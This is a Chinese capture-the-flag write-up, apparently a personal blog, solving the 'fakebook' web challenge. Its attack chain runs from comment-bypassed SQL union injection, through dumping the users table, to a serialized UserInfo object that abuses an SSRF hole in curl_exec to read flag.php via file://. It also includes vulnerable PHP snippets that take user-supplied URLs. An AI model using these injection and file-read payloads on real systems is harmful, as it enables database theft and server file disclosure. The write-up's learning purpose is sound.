少女祈祷中...

这道题,,,很有意思!!!!(sql + 反序列化)

自己的方法:

最开始:

我们需要发现注入点,于是点入1,发现url发生变化:

测试注入,发现是异或注入:(其实有更简单的方法)

来用脚本爆破(自己的工具箱):

得出库:fakebook

表:users

列:no,username,passwd,data

查列的内容,发现,在data里居然出现了反序列化??

然后我就不会做了,就去查wp了。

别人的方法:

居然不需要异或???

利用绕过:(/**/)

1
2
3
4
5
6
7
8
9
10
11
12
13
?no=-1/**/union/**/select/**/1,database(),3,4--+
?no=-1/**/union/**/select/**/1,(select(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='fakebook'/**/limit/**/0,1),3,4--+

?no=-1/**/union/**/select/**/1,(select(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='fakebook'/**/limit/**/1,1),3,4--+

?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'/**/limit/**/1,1),3,4--+

?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'/**/limit/**/2,1),3,4--+

?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'/**/limit/**/3,1),3,4--+

?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'/**/limit/**/4,1),3,4--+

后面四个是爆破列名

1
no,username,passwd,data

来看看列里面有什么?

1
2
3
4
5
6
7
?no=-1/**/union/**/select/**/1,(select/**/group_concat(no)/**/from/**/users),3,4--+

?no=-1/**/union/**/select/**/1,(select/**/group_concat(username)/**/from/**/users),3,4--+

?no=-1/**/union/**/select/**/1,(select/**/group_concat(passwd)/**/from/**/users),3,4--+

?no=-1/**/union/**/select/**/1,(select/**/group_concat(data)/**/from/**/users),3,4--+

发现在data居然出现了反序列化???

屏幕截图 2025-03-18 234308

这时候就体现信息收集的重要性了

扫描发现存在robots.txt

屏幕截图 2025-03-18 234448

这是原码的下载路径:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

反序列化部分:

我们发现存在:

1
$output = curl_exec($ch);

会执行url的代码,于是便存在ssrf

本以为是反序列化,没想到是ssrf吗??!!!

补充:

常见引发 SSRF 的 PHP 函数
  1. curl_exec()

    • 用途:发起 HTTP 请求(如 GET/POST)。

    • 风险:直接使用用户输入的 URL 参数,可能导致服务器访问任意目标。

    • 示例代码

      1
      2
      3
      $url = $_GET['url'];
      $ch = curl_init($url);
      curl_exec($ch);
  2. file_get_contents()

    • 用途:读取文件或 URL 内容。

    • 风险:若参数可控,可通过 file:// 协议读取本地文件,或通过 http:// 访问内网资源。

    • 示例代码

      1
      $content = file_get_contents($_GET['url']);
  3. fsockopen()

    • 用途:创建网络套接字连接。

    • 风险:直接使用用户输入的 IP 和端口,可能导致端口扫描或访问内网服务。

    • 示例代码

      1
      2
      3
      $host = $_GET['host'];
      $port = $_GET['port'];
      $socket = fsockopen($host, $port);
  4. stream_socket_client()

    • 用途:创建网络流连接。
    • 风险:与 fsockopen() 类似,参数可控时可访问任意地址。
  5. file_put_contents()

    • 用途:写入文件或 URL 内容。
    • 风险:结合 php://filter 等协议可篡改文件内容。
  6. parse_url()

    • 用途:解析 URL。
    • 风险:若未严格验证 URL 格式,可能被利用构造恶意协议(如 dict://)。

构造最终payload:

1
2
1:测试
?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:13:"www.baidu.com";}'--+

结果:ctrl+u 发现出现超链接:

屏幕截图 2025-03-18 235820

(页面不显示,只能在这里看见,点进去发现确实是百度网站,说明,构建成功!

1
2
2最终代码:
?no=-1/**/union/**/select/**/1,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:5:%22admin%22;s:3:%22age%22;i:18;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27--+

屏幕截图 2025-03-19 000412

点进去即可获取flag!